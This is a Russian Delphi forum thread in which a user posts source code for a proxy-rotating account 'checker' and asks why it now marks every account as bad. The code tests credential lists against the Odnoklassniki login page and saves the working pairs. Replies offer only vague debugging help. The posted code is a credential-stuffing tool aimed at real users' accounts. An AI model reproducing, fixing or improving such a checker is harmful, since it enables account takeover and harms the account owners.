Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 08.01.2013, 12:58   #1
stasa9711
Форумчанин
 
Регистрация: 01.10.2012
Сообщений: 106
Вопрос работа с чекером

всем привет , у меня почему то перестали работать чекеры однокл и майл .... приведу код одного из них :
Код:
 procedure TNewThread4.Execute;
var CurAcc:integer;
    data:Tstringlist;
    HTTP: TIdHTTP;

  ProxyCount: Integer;
  IP, Port,s: string;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin
     HTTP:=TIdHTTP.create(nil); //Создаём HTTP
     Randomize;
  ProxyCount := Random(Proxy.Count);
  try
    IP := Copy(Proxy[ProxyCount], 1,
      Pos(':', Proxy[ProxyCount]) - 1); //Копируем прокси
    Port := Copy(Proxy[ProxyCount],
      Pos(':', Proxy[ProxyCount]) + 1,
      Length(Proxy[ProxyCount])); //Копируем порт

    Proxy.Delete(ProxyCount);
  except
    ShowMessage('ProxyList пустой обратитесь к разработчику');
  end;
     HTTP.ProxyParams.ProxyServer:=IP; //Вставляем прокси
     HTTP.ProxyParams.ProxyPort:=strtoint(Port); //Вставляем порт
       end;


FAcc:= Form1.sEdit6.Text;
FPas:= Accounts.Strings[CurAcc];

     data:=Tstringlist.create;
     data.Add('st.posted=set');
     data.Add('st.email='+FAcc);
     data.Add('st.password='+FPas);
     data.Add('st.fJS=enabled');
     data.Add('st.screenSize=1366 x 768');
     data.Add('st.flashVer=10.1.82');
     data.Add('button_go=Войти');

     HTTP.HandleRedirects:=false;
     try
     s:= HTTP.Post('http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&st.cmd=anonymLogin', data);
      Rez:=0;
     except
      if Pos('Logoff', s)<>0 then
       Rez:=1
      else
       Rez:=-1;
     end;
     HTTP.Free;
     data.Free;

     Synchronize(Sync);
    end;
  end;





procedure TNewThread4.Sync;
begin
 case Rez of
   0:begin
      Accounts.Add(FAcc+';'+FPas);
     end;
   1:begin
      Append(GoodFile);
      Writeln(GoodFile,FAcc+';'+FPas);
      Closefile(GoodFile);
      showmessage( FPas)  ;
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
      Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1;
     end;
  -1:begin
      Append(BadFile);
      Writeln(BadFile,FAcc+';'+FPas);
      Closefile(BadFile);
      Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
      Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1;
     end;
 end;
end;
а вызываю так
Код:
  TNewThread4.Create(false);
и почему то кидает все акки в бэд ... хотя если перенести этот чек на новую форму работает на ура !
надеюсь вы мне поможете устранить проблему ....
stasa9711 вне форума Ответить с цитированием
Старый 08.01.2013, 13:16   #2
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,442
По умолчанию

Разработчики сайтов просто прикрыли лавочку.
Человек_Борща вне форума Ответить с цитированием
Старый 08.01.2013, 13:18   #3
stasa9711
Форумчанин
 
Регистрация: 01.10.2012
Сообщений: 106
По умолчанию

Цитата:
Сообщение от Человек_Борща Посмотреть сообщение
Разработчики сайтов просто прикрыли лавочку.
нет ! ведь если перенести чекер на новую форму или другое приложение все работает !
stasa9711 вне форума Ответить с цитированием
Старый 08.01.2013, 14:24   #4
stasa9711
Форумчанин
 
Регистрация: 01.10.2012
Сообщений: 106
По умолчанию

неужели никто не знает ? кто хочет просмотреть весь код пишите в скайп :
admin-one1 если поможете исправить заплачу ) или же помогу чем то
stasa9711 вне форума Ответить с цитированием
Старый 20.01.2013, 09:24   #5
diablist
Пользователь
 
Регистрация: 17.12.2007
Сообщений: 12
По умолчанию

Возможно что-то с ответами и парсингом.
Напиши в личку, посмотрю код.
diablist вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Работа с матрицами (норма матрицы, работа со строками) Neitrosha Помощь студентам 1 26.11.2010 20:19
Задача. Работа с псевдослучайными последовательностями (ПСП). Работа с цветом. 0101 Помощь студентам 3 17.12.2009 23:57
Работа с webbrowser - Фреймы, работа с конкретным феймом в фрейме NewDelphi Фриланс 2 08.10.2009 11:00